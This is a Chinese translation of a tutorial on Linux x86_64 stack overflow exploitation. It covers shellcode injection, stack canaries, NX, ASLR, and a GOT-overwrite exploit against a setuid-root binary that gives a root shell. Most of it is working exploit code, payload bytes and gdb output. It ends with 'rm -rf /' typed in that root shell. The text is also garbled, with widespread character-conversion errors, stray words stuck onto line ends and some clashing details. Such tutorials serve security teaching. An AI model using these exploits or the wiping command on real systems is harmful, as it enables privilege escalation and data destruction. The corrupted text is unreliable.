這個教程試着向讀者展現最基本的棧溢出攻擊和現代Linux發行版中針對這種攻擊的防護機制。爲此我選擇了最新版本的Ubuntu系統(12.10),由於它默認集成了幾個安全防護機制,並且它也是一個很是流行的發行版。安裝和使用都很方便。咱們選擇的系統是X86_64的。讀者將會了解到棧溢出是怎樣在那些默認沒有安全防護機制的老系統上面成功的溢出的。並且還會解釋在最新版本的Ubuntu上這些保護措施是如何工做的。我還會使用一個小例子來講明若是不阻止一個棧上面的數據結構被溢出那麼程序的執行路徑就會失去控制 。linux
儘管本文中使用的攻擊方式不像經典的棧溢出的攻擊方式,而更像是對堆溢出或者格式化字符串漏洞的利用方式,儘管有各類保護機制的存在溢出仍是不可避免的存在。如今若是你還不懂這些,不要擔憂,我會在下面的文章中詳細的講解。shell
關於不一樣版本的ubuntu 系統中默認啓用的安全控制機能夠看這裏:https://wiki.ubuntu.com/Security/Featuresubuntu
-----------------------------------小程序
$ uname -srp && cat /etc/lsb-release | grep DESC && gcc --version | grep gccwindows
Linux 3.5.0-19-generic x86_64數組
DISTRIB_DESCRIPTION="Ubuntu 12.10"安全
gcc (Ubuntu/Linaro 4.7.2-2ubuntu1) 4.7.2bash
-----------------------------------cookie
首先讓咱們回到從前,一切都很簡單,向棧上面複製草率的複製數據很容易致使程序的執行徹底失控。能夠看下面的例子(沒有考了到許多保護機制).網絡
-----------------------------------
$ cat oldskool.c
#include <string.h>
void go(char *data) {
char name[64];
strcpy(name, data);
}
int main(int argc, char **argv) {
go(argv[1]);
}
-----------------------------------
在測試以前,咱們須要禁用系統的 ASLR ,你能夠這麼來作:
-----------------------------------
$ sudo -i
root@laptop:~# echo "0" > /proc/sys/kernel/randomize_va_space
root@laptop:~# exit
logout
-----------------------------------
在很老的機器上面也許還不存在這個包含機制。爲了同時禁用掉其餘的保護(主要是編譯器生成的運行時棧檢測代碼) 咱們能夠這樣來編譯咱們的例子:
$ gcc oldskool.c -o oldskool -zexecstack -fno-stack-protector -g
下面來看看這個示例程序,咱們能夠看到 咱們在函數中在棧上面分配了64字節的緩衝區,而後把命令行的第一個參數複製到這個緩衝區裏面。程序沒有檢測第一個參數的長度是否是大於64字節就直接調用strcpy 來複制數據了,衆所周知,這樣會致使棧溢出。 如今爲了獲得程序控制權限,咱們須要知道這樣一個事實,就是任意一個C函數在進入一個函數以前,都會把它即將執行的下一條指令的地址壓到棧中(也就是call指令作的事情 把call的下一條指令壓棧,這樣函數就知道要返回哪一個地址繼續執行了)。咱們把這個地址叫作函數返回地址或者叫 「已保存的指令的指針」。在咱們的例子裏面 返回地址就是咱們在執行完咱們的 go()函數後下一步要執行的那條指令的地址。這個地址就僅挨着咱們的 name[64] 這個緩衝區。由於棧的工做方式(譯者注:也就是棧是向低地址衍生的,也就是說最後進棧的保存在棧最低的地址處),若是用戶的數據超過了緩衝區的長度,那麼輸入的數據就會覆蓋掉函數的返回地址(譯者注:由於往緩衝區裏面寫數據是從低地址向高地址寫,因此當寫完函數分配緩衝區,下面的4個字節就是函數的返回地址了)。函數返回的時候就會跳到錯誤的地址處去執行,一個攻擊者就能經過把他們要執行的機器碼複製到一個緩衝區中,而後把返回地址指向那個緩衝區來劫持程序的執行流程。而後攻擊者就能夠隨意的讓程序作一些他們想作的事情,也許是由於好玩也行是爲了利益。廢話很少說,讓我來給大家演示下吧 若是你看不懂下面使用的命令,你能夠在 http://beej.us/guide/bggdb/ 看一下GDB 的使用教程。
-----------------------------------
$ gdb -q ./oldskool
Reading symbols from /home/me/.hax/vuln/oldskool...done.
(gdb) disas main
Dump of assembler code for function main:
0x000000000040053d <+0>: push %rbp
0x000000000040053e <+1>: mov %rsp,%rbp
0x0000000000400541 <+4>: sub $0x10,%rsp
0x0000000000400545 <+8>: mov %edi,-0x4(%rbp)
0x0000000000400548 <+11>: mov %rsi,-0x10(%rbp)
0x000000000040054c <+15>: mov -0x10(%rbp),%rax
0x0000000000400550 <+19>: add $0x8,%rax
0x0000000000400554 <+23>: mov (%rax),%rax
0x0000000000400557 <+26>: mov %rax,%rdi
0x000000000040055a <+29>: callq 0x40051c
0x000000000040055f <+34>: leaveq
0x0000000000400560 <+35>: retq
End of assembler dump.
(gdb) break *0x40055a
Breakpoint 1 at 0x40055a: file oldskool.c, line 11.
(gdb) run myname
Starting program: /home/me/.hax/vuln/oldskool myname
Breakpoint 1, 0x000000000040055a in main (argc=2, argv=0x7fffffffe1c8)
11 go(argv[1]);
(gdb) x/i $rip
=> 0x40055a : callq 0x40051c
(gdb) i r rsp
rsp 0x7fffffffe0d0 0x7fffffffe0d0
(gdb) si
go (data=0xc2 ) at oldskool.c:4
4 void go(char *data) {
(gdb) i r rsp
rsp 0x7fffffffe0c8 0x7fffffffe0c8
(gdb) x/gx $rsp
0x7fffffffe0c8: 0x000000000040055f
-----------------------------------
咱們在調用go函數以前設置了一個斷點, 在 0x000000000040055a <+29>.而後咱們使用參數 myname 來執行咱們的程序, 而後程序在進入go函數的時候停了下來. 而後咱們經過命令si來執行一條指令。而後看下棧指針 rsp (由於是64位的系統嘛),能夠看出rsp的值就是 call go 的下一條指令的地址 0x000000000040055f <+34>。這些就是咱們上面所講的。
下面的輸出顯示當go函數調用結束的時候,會執行 retq 這個指令,這個指令會將函數的返回地址彈出棧,而後跳到這個地址去執行而無論這個地址指向哪裏 。
-----------------------------------
(gdb) disas go
Dump of assembler code for function go:
=> 0x000000000040051c <+0>: push %rbp
0x000000000040051d <+1>: mov %rsp,%rbp
0x0000000000400520 <+4>: sub $0x50,%rsp
0x0000000000400524 <+8>: mov %rdi,-0x48(%rbp)
0x0000000000400528 <+12>: mov -0x48(%rbp),%rdx
0x000000000040052c <+16>: lea -0x40(%rbp),%rax
0x0000000000400530 <+20>: mov %rdx,%rsi
0x0000000000400533 <+23>: mov %rax,%rdi
0x0000000000400536 <+26>: callq 0x4003f0
0x000000000040053b <+31>: leaveq
0x000000000040053c <+32>: retq
End of assembler dump.
(gdb) break *0x40053c
Breakpoint 2 at 0x40053c: file oldskool.c, line 8.
(gdb) continue
Continuing.
Breakpoint 2, 0x000000000040053c in go (data=0x7fffffffe4b4 "myname")
8 }
(gdb) x/i $rip (gdb x命令用於查看內存的數據)
=> 0x40053c : retq
(gdb) x/gx $rsp
0x7fffffffe0c8: 0x000000000040055f
(gdb) si
main (argc=2, argv=0x7fffffffe1c8) at oldskool.c:12
12 }
(gdb) x/gx $rsp
0x7fffffffe0d0: 0x00007fffffffe1c8
(gdb) x/i $rip
=> 0x40055f : leaveq
(gdb) quit
-----------------------------------
咱們在go函數即將返回的地方下一個斷點而後繼續執行。程序會在執行retq指令的地方停下來。咱們能夠看到棧寄存器rsp仍是指向main函數內部那個即將在go函數後面執行的指令。等retq 執行完了,咱們能夠看出程序當即把返回地址彈出棧讓跳過去執行了。如今咱們要去覆蓋這個返回地址使用perl來提供多於64個字節的數據 。
-----------------------------------
$ gdb -q ./oldskool
Reading symbols from /home/me/.hax/vuln/oldskool...done.
(gdb) run `perl -e 'print "A"x48'`
Starting program: /home/me/.hax/vuln/oldskool `perl -e 'print "A"x80'`
Program received signal SIGSEGV, Segmentation fault.
0x000000000040059c in go (data=0x7fffffffe49a 'A' )
12 }
(gdb) x/i $rip
=> 0x40059c : retq
(gdb) x/gx $rsp
0x7fffffffe0a8: 0x4141414141414141
-----------------------------------
咱們使用prel在命令行中打印出80個"A",而後把它做爲參數傳遞給咱們的實例程序。咱們能夠看出當程序執行完retq指令的時候崩潰了。由於程序試圖跳到的返回地址被字符「A"(0x41) 填充了。主要咱們必需要寫入80個字節(64+8+8)由於指針在64位機器上面是8個字節的,爲何要加兩個8呢 由於在咱們的緩衝區和返回地址之間還保存着一個指針 有木有注意到go函數的第一條指令 push ebp ?! 好了,那麼如今咱們能夠作到把程序的執行路徑重定向到任意的位置 而後執行咱們的命令了嗎 ?若是咱們把咱們的指令放到name[]這個數組中,而後把函數的返回地址覆蓋成數組的起始地址,程序就會執行咱們的指令(或者說是傳說中的shellcode),咱們須要知道name[]數組的地址而後才能知道須要把返回地址覆蓋成什麼值。在本文中我不會教你們若是建立一個shellcode 由於這個有點超出本文的範圍了。可是我仍是會給你提供一個在屏幕上打印一個消息的shellcode 。咱們能夠這樣來獲得name數組的地址。
-----------------------------------
(gdb) p &name
$2 = (char (*)[32]) 0x7fffffffe0a0
-----------------------------------
咱們可使用perl來在命令行上打印不可打印的字符,經過使用對應的16進制來轉義,就像這樣"\x41"。因爲機器上面存儲整數和指針是使用小端(little-endian)的,因此咱們須要將字節的順便反過來。所以咱們要去覆蓋返回地址的值就是 "\xa0\xe0\xff\xff\xff\x7f"
下面就是會在屏幕上打印出咱們的消息而後退出的shellcode:
"\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48
\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9
\xff\xff\xff\x48\x61\x78\x21"
這些只是要執行的指令的機器碼形式,這樣轉義後,他們就可使用perl來打印了。由於shellcode 的長度是45字節,可是咱們須要72個字節才能覆蓋掉SIP。因此須要再加上27個字節。好了 下面就是咱們要使用的字符串:
"\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48
\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9
\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\xa0\xe0\xff\xff\xff\x7f"
當程序執行完go() 這個函數的時候就會跳到0x7fffffffe0a0去執行。而這個地址正是name[]數組的地址,此時name[]數組裏面已經被填充上咱們的shellcode了。不出意外的話,程序就會執行咱們的shellcode而後打印出消息 ,而後退出,好了 如今咱們來試一試(注意執行前 清除掉全部的斷點 (譯者注:若是你在調試器裏面執行的話)):
-----------------------------------
$ ./oldskool `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48
\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c
\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\xa0\xe0
\xff\xff\xff\x7f"'`
Hax!$
-----------------------------------
能夠看到,咱們shellcode 被執行了,程序打印出消息而後退出了。
歡迎來到2012年,上面的例子在層層保護之下已經不能工做了。如今在咱們的Ubuntu機器上面使用了不少不一樣的保護措施。這種形式的利用方式甚至已經不存在了。固然棧中仍是會發生溢出,也仍是有新的方法來利用它。這就是我下面一節要介紹的。可是首先仍是讓咱們來了解下各類保護機制吧。
4.1 堆棧保護
在上面的例子裏面咱們使用-fno-stack-protector 標識來告訴gcc 咱們不想啓用堆棧保護。若是咱們把這個選項和前面加的其餘選項都去掉呢 ?注意此時ASLR也被打開了,全部的東西都變成默認了。
$ gcc oldskool.c -o oldskool -g
咱們先看看生成的二進制代碼,看看有什麼變化。
-----------------------------------
$ gdb -q ./oldskool
Reading symbols from /home/me/.hax/vuln/oldskool...done.
(gdb) disas go
Dump of assembler code for function go:
0x000000000040058c <+0>: push %rbp
0x000000000040058d <+1>: mov %rsp,%rbp
0x0000000000400590 <+4>: sub $0x60,%rsp
0x0000000000400594 <+8>: mov %rdi,-0x58(%rbp)
0x0000000000400598 <+12>: mov %fs:0x28,%rax
0x00000000004005a1 <+21>: mov %rax,-0x8(%rbp)
0x00000000004005a5 <+25>: xor %eax,%eax
0x00000000004005a7 <+27>: mov -0x58(%rbp),%rdx
0x00000000004005ab <+31>: lea -0x50(%rbp),%rax
0x00000000004005af <+35>: mov %rdx,%rsi
0x00000000004005b2 <+38>: mov %rax,%rdi
0x00000000004005b5 <+41>: callq 0x400450
0x00000000004005ba <+46>: mov -0x8(%rbp),%rax
0x00000000004005be <+50>: xor %fs:0x28,%rax
0x00000000004005c7 <+59>: je 0x4005ce
0x00000000004005c9 <+61>: callq 0x400460 <__stack_chk_fail@plt>
0x00000000004005ce <+66>: leaveq
0x00000000004005cf <+67>: retq
End of assembler dump.
-----------------------------------
若是咱們觀察go+12 和 go+21,能夠看到一個值被從$fs+0x28 或者%fs:0x28。這個地址指向的值並不重要,如今我只告訴你:fs 指向的結構是供內核使用的(爲內核保留的),咱們不能使用gdb 來查看fs 的值。可是咱們只須要知道這個地方包含了一個隨機的值,已經被證實咱們是不能提早預測這個值的。
-----------------------------------
(gdb) break *0x0000000000400598
Breakpoint 1 at 0x400598: file oldskool.c, line 4.
(gdb) run
Starting program: /home/me/.hax/vuln/oldskool
Breakpoint 1, go (data=0x0) at oldskool.c:4
4 void go(char *data) {
(gdb) x/i $rip
=> 0x400598 : mov %fs:0x28,%rax
(gdb) si
0x00000000004005a1 4 void go(char *data) {
(gdb) i r rax
rax 0x110279462f20d0001225675390943547392
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/me/.hax/vuln/oldskool
Breakpoint 1, go (data=0x0) at oldskool.c:4
4 void go(char *data) {
(gdb) si
0x00000000004005a1 4 void go(char *data) {
(gdb) i r rax
rax 0x21f95d1abb2a0800 2448090241843202048
-----------------------------------
咱們在將那個值從 $fs+0x28移到rax的指令處下斷點,而後執行這條指令,查看rax的值,重複這個過程咱們能夠清楚的看到這個值每次運行都會變化,因此這是個每次程序運行都會改變的值。也就是說攻擊者不能提早知道這個值。可是這個值是怎麼用來保護棧的呢?若是咱們看 go+21 處 ,能夠看出這個值被拷貝到 -0x8(%rbp) 處。能夠看出這個值剛好在函數的局部變量和函數的返回地址之間。這個值被叫作」金絲雀」,也就是礦工用來提醒他們瓦斯泄露的。由於金絲雀對瓦斯比較忙敏感,會比人先死去。類比下,當發生緩衝區溢出的時候,這個值會比函數的返回地址先被覆蓋。若是咱們看下 go+46 和 go+50 的地方,能夠看出這個值被從堆棧裏面讀出來。而後和原來的值作對比,若是他們是同樣的那麼就說明值沒有改變,也就是說函數的返回地址也沒被改變,而後就運行函數正常的退出了。可是若是這個值改變了,就說明發送了棧溢出,保存的函數返回地址有可能被改寫了。因而函數就會執行__stack_chk_fail函數,這個函數會拋出一個錯誤,而後讓進程退出。就像下面你看到的同樣:
-----------------------------------
$ ./oldskool `perl -e 'print "A"x80'`
*** stack smashing detected ***: ./oldskool terminated
Aborted (core dumped)
-----------------------------------
讓咱們來回顧下整個過程,緩衝區被溢出了,數據被複制到緩衝區外面而且覆蓋掉了那個「金絲雀」值(譯者注: windows 上面也有相似的機制,不過在windows上這個值叫作安全cookies )同時也覆蓋掉了函數的返回地址。可是,悲劇的是在函數就要返回到那個被改寫的地址繼續執行的時候,函數檢查了下那個金絲雀值是否是被改寫了。因而函數沒有返回而是執行另一個函數安全的讓進程退出了。如今壞消息來了,對於一個攻擊者並無一個很好的方式來繞過這個檢測。你可能會想到暴力猜解那個金絲雀值。可是這個值每次都不一樣,除非你很是的幸運被你猜到了 (譯者注:機率:1/2^32),並且這樣作也是費時並且容易被發現的。可是還有好消息,那就是在不少的狀況下這個並不能阻止溢出攻擊。舉例來講,棧裏面的金絲雀值只是保護SIP不被非法的改寫,可是它不能阻止函數的局部變量被改寫。這就很容易致使下一步的溢出,這會在下面的文章裏演示。上面講的保護機制有效的阻止咱們老的攻擊方式的攻擊,可是立刻這種保護機制就會失效。
4.2 NX:不可執行內存
你可能注意到咱們不只僅去掉了-fno-stack-protector這個標識,同時也去掉了-zexecstack標識,(也就是容許執行棧中的代碼)現代的操做系統是不容許這種狀況發生的,系統把須要寫入數據的內存標識爲可行,把保存指令的內存標識爲可執行,可是不會有一塊內存被同時標識爲可寫和可執行的。所以咱們既不能在可執行的內存區域寫入咱們的shellcode 也不能在可寫入的地方執行咱們的shellcode (譯者注:哈哈 系統的保護錯誤很變態吧 原本內存就只要可讀 或者 可寫屬性 後來加入的 可執行 屬性大大加強了系統的安全性)。咱們須要另外的一種方式來讓欺騙程序執行咱們的代碼,答案就是ROP(Return-Oriented Programming),這個技巧就是使用程序中已經有的代碼片斷,也就是位於可執行文件的.text節裏面代碼,使用一種方式將這些代碼片斷鏈到一塊兒使他們看來就像咱們之前的shellcode。關於此,我不會深刻的講解,可是我會在文件的結尾給你們一個例子。仍是讓我先展現下若是程序若是執行堆棧裏的代碼會發送的狀況(確定是執行失敗了)。
-----------------------------------
$ cat nx.c
int main(int argc, char **argv) {
char shellcode[] =
"\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff"
"\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48"
"\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21";
void (*func)() = (void *)shellcode;
func();
}
$ gcc nx.c -o nx -zexecstack
$ ./nx
Hax!$
$ gcc nx.c -o nx
$ ./nx
Segmentation fault (core dumped)
-----------------------------------
咱們把咱們要執行的代碼放到了堆棧上的一個數組裏,而後讓一個函數指針指向這個數組,而後執行這個函數。當咱們編譯的時候和以前同樣帶上 –zexecstack,咱們的shellcode 就會執行,可是若是不帶上這個選項,棧空間就會被標識爲不可執行的,程序也就會隨着一個段錯誤而執行失敗。
4.3 ASLR:地址空間隨機化
咱們爲了演示那個經典的溢出攻擊,作的最後一件事就是關掉 ASLR,經過在root下執行echo "0" > /proc/sys/kernel/randomize_va_space 。ASLR能夠確保每次程序被加載的時候,他本身和他所加載的庫文件都會被映射到虛擬地址空的不一樣地址處。這就意味着咱們不能使用咱們本身在gdb裏面調試時的地址了。由於這個程序在運行的時候這個地址有可能變成另一個。要注意當你調試一個程序的時候 gdb 會關掉ASLR。可是咱們能夠在調試的時候打開這個選項,以便咱們能夠更真實的看到程序執行時發送的一切,具體看下面的演示
(輸出的過長字符串在右邊截斷了,左邊顯示的地址信息纔是最重要的):
-----------------------------------
$ gdb -q ./oldskool
Reading symbols from /home/me/.hax/vuln/oldskool...done.
(gdb) set disable-randomization off
(gdb) break main
Breakpoint 1 at 0x4005df: file oldskool.c, line 11.
(gdb) run
Starting program: /home/me/.hax/vuln/oldskool
Breakpoint 1, main (argc=1, argv=0x7fffe22fe188) at oldskool.c:11
11 go(argv[1]);
(gdb) i proc map
process 6988
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x400000 0x401000 0x1000 0x0 /home/me/.hax/vuln
0x600000 0x601000 0x1000 0x0 /home/me/.hax/vuln
0x601000 0x602000 0x1000 0x1000 /home/me/.hax/vuln
0x7f0e120ef000 0x7f0e122a4000 0x1b5000 0x0 /lib/x86_64-linux-
0x7f0e122a4000 0x7f0e124a3000 0x1ff000 0x1b5000 /lib/x86_64-linux-
0x7f0e124a3000 0x7f0e124a7000 0x4000 0x1b4000 /lib/x86_64-linux-
0x7f0e124a7000 0x7f0e124a9000 0x2000 0x1b8000 /lib/x86_64-linux-
0x7f0e124a9000 0x7f0e124ae000 0x5000 0x0
0x7f0e124ae000 0x7f0e124d0000 0x22000 0x0 /lib/x86_64-linux-
0x7f0e126ae000 0x7f0e126b1000 0x3000 0x0
0x7f0e126ce000 0x7f0e126d0000 0x2000 0x0
0x7f0e126d0000 0x7f0e126d1000 0x1000 0x22000 /lib/x86_64-linux-
0x7f0e126d1000 0x7f0e126d3000 0x2000 0x23000 /lib/x86_64-linux-
0x7fffe22df000 0x7fffe2300000 0x21000 0x0 [stack]
0x7fffe23c2000 0x7fffe23c3000 0x1000 0x0 [vdso]
0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall]
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/me/.hax/vuln/oldskool
Breakpoint 1, main (argc=1, argv=0x7fff7e16cfd8) at oldskool.c:11
11 go(argv[1]);
(gdb) i proc map
process 6991
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x400000 0x401000 0x1000 0x0 /home/me/.hax/vuln
0x600000 0x601000 0x1000 0x0 /home/me/.hax/vuln
0x601000 0x602000 0x1000 0x1000 /home/me/.hax/vuln
0x7fdbb2753000 0x7fdbb2908000 0x1b5000 0x0 /lib/x86_64-linux-
0x7fdbb2908000 0x7fdbb2b07000 0x1ff000 0x1b5000 /lib/x86_64-linux-
0x7fdbb2b07000 0x7fdbb2b0b000 0x4000 0x1b4000 /lib/x86_64-linux-
0x7fdbb2b0b000 0x7fdbb2b0d000 0x2000 0x1b8000 /lib/x86_64-linux-
0x7fdbb2b0d000 0x7fdbb2b12000 0x5000 0x0
0x7fdbb2b12000 0x7fdbb2b34000 0x22000 0x0 /lib/x86_64-linux-
0x7fdbb2d12000 0x7fdbb2d15000 0x3000 0x0
0x7fdbb2d32000 0x7fdbb2d34000 0x2000 0x0
0x7fdbb2d34000 0x7fdbb2d35000 0x1000 0x22000 /lib/x86_64-linux-
0x7fdbb2d35000 0x7fdbb2d37000 0x2000 0x23000 /lib/x86_64-linux-
0x7fff7e14d000 0x7fff7e16e000 0x21000 0x0 [stack]
0x7fff7e1bd000 0x7fff7e1be000 0x1000 0x0 [vdso]
0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall]
-----------------------------------
咱們把"disable-randomization"設置成 「off」 。咱們兩次運行了程序而後查看進程的模塊在內存中映射的地址。咱們發現他們中的大部分的地址都是不一樣的。可是並非每個模塊都這樣,這就是在ASLR被開啓的狀況下,漏洞仍然能夠利用成功的關鍵緣由。
雖然有這麼多的保護措施,可是仍是有溢出漏洞,並且有時咱們能夠成功的利用這些漏洞。我已經向大家演示棧中的金絲雀能夠保護程序在溢出的狀況下不跳到惡意的SIP去執行。可是這隻金絲雀僅僅被放到了SIP的前面而不是在棧中的局部變量裏面。因此咱們可使用第一個例子裏面覆蓋SIP(也就是函數返回地址 函數返回的時候SIP就會被賦予這個值)的那種方法來覆蓋函數的局部變量。而這個會致使許多不一樣的問題,在一些狀況下,咱們覆蓋了一個函數指針,這個指針會在將來某一個時刻被執行。也有可能咱們覆蓋了一個指針,這個指針指向的內存會在將來被寫入用戶數據,因而攻擊者就能夠在任意的位置寫入數據了。相似的情形常常會被成功的利用而獲得進程的控制權。下面的代碼就演示了這樣的一個漏洞:
-----------------------------------
$ cat stackvuln.c
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#define MAX_SIZE 48
#define BUF_SIZE 64
char data1[BUF_SIZE], data2[BUF_SIZE];
struct item {
char data[MAX_SIZE];
void *next;
};
int go(void) {
struct item item1, item2;
item1.next = &item2;
item2.next = &item1;
memcpy(item1.data, data1, BUF_SIZE); // Whoops, did we mean MAX_SIZE?
memcpy(item1.next, data2, MAX_SIZE); // Yes, yes we did.
exit(-1); // Exit in shame.
}
void hax(void) {
execl("/bin/bash", "/bin/bash", "-p", NULL);
}
void readfile(char *filename, char *buffer, int len) {
FILE *fp;
fp = fopen(filename, "r");
if (fp != NULL) {
fread(buffer, 1, len, fp);
fclose(fp);
}
}
int main(int argc, char **argv) {
readfile("data1.dat", data1, BUF_SIZE);
readfile("data2.dat", data2, BUF_SIZE);
go();
}
$ gcc stackvuln.c -o stackvuln
$ sudo chown root:root stackvuln
$ sudo chmod +s ./stackvuln
-----------------------------------
爲了演示我加入了一個 hax() 函數,很明顯這個就是咱們要把進程的執行路徑改寫到的位置。一開始我想加入一個例子來使用ROP鏈來執行一個函數 像是 system 可是由於兩個理由我決定不這麼作了,第一就是這樣有點超出本文的範圍了,這對初學者來講還太難。第二就是在這個小程序裏面找到合適的函數實在太難。使用這個函數(hax())是由於:因爲NX,咱們不能將咱們本身的shellcode壓到棧裏面而後執行它,可是咱們能夠重用在程序中已有的代碼(能夠是一個函數,也能夠是一個ROP鏈起來的一連串指令)。若是你關心若是使用ROP你能夠谷歌 「ROP exploitation」。
咱們程序的溢出發生在go()函數。它建立了一個兩個struct item類元素的循環鏈表。第一次拷貝實際上向結構裏面複製了過多的字節,這就運行咱們覆蓋掉第二次調memcpy使用的next指針,因此若是咱們可以選擇性的覆蓋掉next指針咱們就能讓第二次複製的時候將數據寫到咱們但願的地方。除此以外咱們還控制了data1和data2,由於這兩個緩衝區的內容都是從文件中讀取的。固然這些數據也可能從網絡或者其餘的一些輸入,我選擇文件是由於它讓咱們很容易改變playload (shellcode 的載體)來作演示。如今咱們能夠向任意咱們想要的地方寫入48字節了,可是咱們怎樣經過這個來得到程序的控制權?
咱們即將使用一個叫作 GOT/PLT 的結構。我會立刻解釋下它是什麼,可是若是你須要的更多的瞭解,你能夠google下。 .got.plt 是一個地址表,城市使用它來跟蹤庫中的函數,我前面已經說過ASLR確保每個動態連接庫文件每一次在程序加載的時候都會被映射到不一樣的基址上面。因此程序就不能使用靜態的絕對地址來應用庫文件中的函數。程序使用了一個代理(stub)去計算函數真實的地址,並把它存放到一個表裏面。因此每當函數須要被調用的時候,就須要使用到.got.plt表裏面存放的地址。
咱們利用這一點來改寫這個地址,這樣下一次程序須要調用那個函數的時候,函數的調用就會被轉移到咱們代碼上面,就像前面咱們改寫函數的返回地址來轉義程序的執行目標。若是咱們觀察下咱們的例子,會發如今調用完memcpy 以後緊接着就調用了函數exit() 。若是咱們能夠改寫.got.plt表裏面exit()函數的那一項,那麼當函數去調用exit()函數的時候就會跳去執行咱們代碼而不是libc 中的 exit() 。咱們使用那一個地址去覆蓋呢?你猜對了,就是函數hax()的地址。首先,仍是讓我爲你演示下.got.plt表在調用exit()函數的時候是若是起做用的。
-----------------------------------
$ cat exit.c
#include <stdlib.h>
int main(int argc, char **argv) {
exit(0);
}
$ gcc exit.c -o exit -g
$ gdb -q ./exit
Reading symbols from /home/me/.hax/plt/exit...done.
(gdb) disas main
Dump of assembler code for function main:
0x000000000040051c <+0>: push %rbp
0x000000000040051d <+1>: mov %rsp,%rbp
0x0000000000400520 <+4>: sub $0x10,%rsp
0x0000000000400524 <+8>: mov %edi,-0x4(%rbp)
0x0000000000400527 <+11>: mov %rsi,-0x10(%rbp)
0x000000000040052b <+15>: mov $0x0,%edi
0x0000000000400530 <+20>: callq 0x400400
End of assembler dump.
(gdb) x/i 0x400400
0x400400 : jmpq *0x200c1a(%rip) # 0x601020
(gdb) x/gx 0x601020
0x601020 : 0x0000000000400406
-----------------------------------
能夠看出在main+20的地方,應該是調用libc 裏面的exit ,可是卻調用0x400400,這個地方就是exit函數的代理,它就會定位到0x601020這個地址而後從中讀取函數的地址去執行,此時這個地址仍是在got.plt 裏。當加載libc 的時候這個地方就會被填充上exit真實的地址。而咱們就是要覆蓋掉這個地址爲咱們本身 函數的入口地址。爲了讓咱們的例子能夠正常的工做,咱們必須定位到.got.plt 中exit函數的地址,而後覆蓋掉這個結構中的指針,咱們須要向data2這個緩衝區中寫入hax()函數的指針,首先覆蓋掉item1.next 這個指針,讓它指向 .got.plt 中exit的入口,而後使用hax()的地址來覆蓋掉此處exit()函數的地址。而後調用exit的時候,其實是調用了咱們的函數hax()。而後咱們就會獲得一個系統的root shell,可是有一點要注意,以及 execl 函數恰好被定位在exit 函數的後面,而咱們的memcpy函數須要複製 48 個字節,因此咱們須要保證 execl的地址不被改寫。
-----------------------------------
(gdb) mai i sect .got.plt
Exec file:
`/tmp/stackvuln/stackvuln', file type elf64-x86-64.
0x00601000->0x00601050 at 0x00001000: .got.plt ALLOC LOAD DATA HAS_CONTENTS
(gdb) x/10gx 0x601000
0x601000: 0x0000000000600e28 0x0000000000000000
0x601010: 0x0000000000000000 0x0000000000400526
0x601020 < fclose@got.plt>: 0x0000000000400536 0x0000000000400546
0x601030 < memcpy@got.plt>: 0x0000000000400556 0x0000000000400566
0x601040 < exit@got.plt>: 0x0000000000400576 0x0000000000400586
(gdb) p hax
$1 = {< text variable, no debug info >} 0x40073b
-----------------------------------
好了能夠看出 exit 函數的入口在 0x601040 ,而hax()是在0x40073b,下面讓咱們來構造咱們的playload。
-----------------------------------
$ hexdump data1.dat -vC
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000020 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000030 40 10 60 00 00 00 00 00 |@.`.....|
00000038
$ hexdump data2.dat -vC
00000000 3b 07 40 00 00 00 00 00 86 05 40 00 00 00 00 00 |;.@.......@.....|
00000010
-----------------------------------
在第一次調用中,咱們使用48個字節的無用數據而後使用.got.plt表入口的地址來覆蓋掉next指針。記住因爲咱們是在小端機器上面,因此地址的字節順序是反着的。第二個文件包含了函數 hax() 的指針,也就是要被寫到 .got.plt 表中的 exit 入口的地址。第二個地址是execl()函數的入口,第二個地址是execl的,這個是咱們構造的正確的地址 只是爲了讓這個函數能夠正常的調用。當exit 被調用的時候,實際調用的是咱們 hax() 函數的地址,也就是說這個時候hax() 函數被執行了。
-----------------------------------
$ ./stackvuln
bash-4.2# whoami
root
bash-4.2# rm -rf /